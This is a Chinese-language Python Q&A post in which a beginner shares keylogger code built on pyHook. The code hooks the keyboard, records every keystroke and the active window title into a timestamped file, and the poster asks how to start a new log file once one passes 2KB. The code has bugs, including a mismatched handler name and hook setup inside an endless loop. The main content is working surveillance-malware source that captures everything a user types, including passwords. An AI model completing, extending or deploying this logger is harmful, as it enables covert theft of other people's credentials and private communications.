在pyhook pumpmessages中使用自己的代码

2024-10-05 13:20:36 发布

您现在位置:Python中文网/ 问答频道 /正文

我想检查写入密钥的文件是否超过2Kb。如果它超过2KB,那么我需要制作另一个文件,并停止在这个文件中写入。我是Python的初学者请帮我这个。请指出我可以在哪里使用代码来检查文件是否超过2kb。在

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime 
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path =  p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
    def OnkeyboardEvent(event):
        global lastWindow
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            print window 
            lastWindow = window
        print key
    hm = pyHook.HookManager()

    hm.KeyDown = OnKeyboardEvent

    hm.HookKeyboard()
    pythoncom.PumpMessages()

希望你能帮忙


Tags: 文件pathimporteventdatetimesyswindowtemp

热门问题